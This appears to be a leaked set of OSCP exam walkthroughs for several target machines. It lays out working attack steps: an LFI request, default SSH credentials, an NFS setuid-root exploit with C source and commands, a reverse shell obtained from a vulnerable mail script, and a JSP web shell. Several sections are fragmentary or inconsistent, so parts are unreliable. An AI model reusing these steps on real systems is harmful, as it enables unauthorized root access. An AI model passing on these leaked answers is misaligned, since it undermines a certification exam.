OSCP-EXAM Hide01.ir
OSCP-EXAM Hide01.ir
OSCP-EXAM Hide01.ir
Ph33r WRITEUP
OUTOFBOX WRITEUP
Information gathering
Scan the host using
1. nmap 192.168.x.53 -A
You will get port 80 accessible
open 192.168.x.53/robots.txt
You will get 2 md5 values which represent a directories
example : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Exploitation
You will find an LFI vuln at
GET /xxxxxxxxxxxxxxxxxxxxxxxx/inc2.html?passwd
There is a user called OutOfBox will appear in the response
You can use it to connect to ssh using
username : OutOfBox
password : OutOfBox
ssh [email protected]
OutOfBox@offsecsmtp:~$ id
uid=1001(OutOfBox) gid=1001(OutOfBox) groups=1001(OutOfBox)
Escalation
NFS share is writable, you can create an executable which is running using
setuid(0) suitable suid bit, upload it to the shared folder and execute it, You
will get root access
[root:~/Desktop]# showmount -e 192.168.xx.53
Export list for 192.168.xx.53:
/shared 192.168.xx.0/255.255.255.0
[root:~/Desktop]# mkdir /tmp/mymount
/bin/mkdir: created directory '/tmp/mymount'
[root:~/Desktop]# mount -t nfs 192.168.xx.53:/shared /tmp/mymount -o nolock
[root:~/Desktop]# cat /root/Desktop/exploit.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc exploit.c -m32 -o exploit
[root:/tmp/mymount]# cp /root/Desktop/x /tmp/mymount/
[root:/tmp/mymount]# chmod u+s exploit
Now go to /shared folder on offsec machine, execute ./exploit and you’re root
ADAM WRITEUP
POST /index.php?page=ping.php
HTTP/1.1
Host: 192.168.x.67
User-Agent: xxxxxxxxxxxxxxxxxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8
Accept-Language: en-US,en; q=0.5
DNT: 1
Referer: https:/192.168.x.67/index.php?page=ping.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
OFFENSIV-W2K3 WRITEUP
Open http:/192.168.x.67:8080/mail/checkspool.php
the file is vulnerable to rce, use
it to gain a reverse shell
Escalation
ADMIN-PC WRITEUP
Exploitation
Scan the machine using
nmap 192.168.x.55 -A
Connect to the server and get the xampp config fileUse user anonymous with any
password
Escalation
Upload jsp shell file to c:/xampp/tomcat/webapps/examplesthen browse it using
192.168.x.55:10433/examples/cmd.jsp?cmd=whoami
And you're an admin, 192.168.x.55 -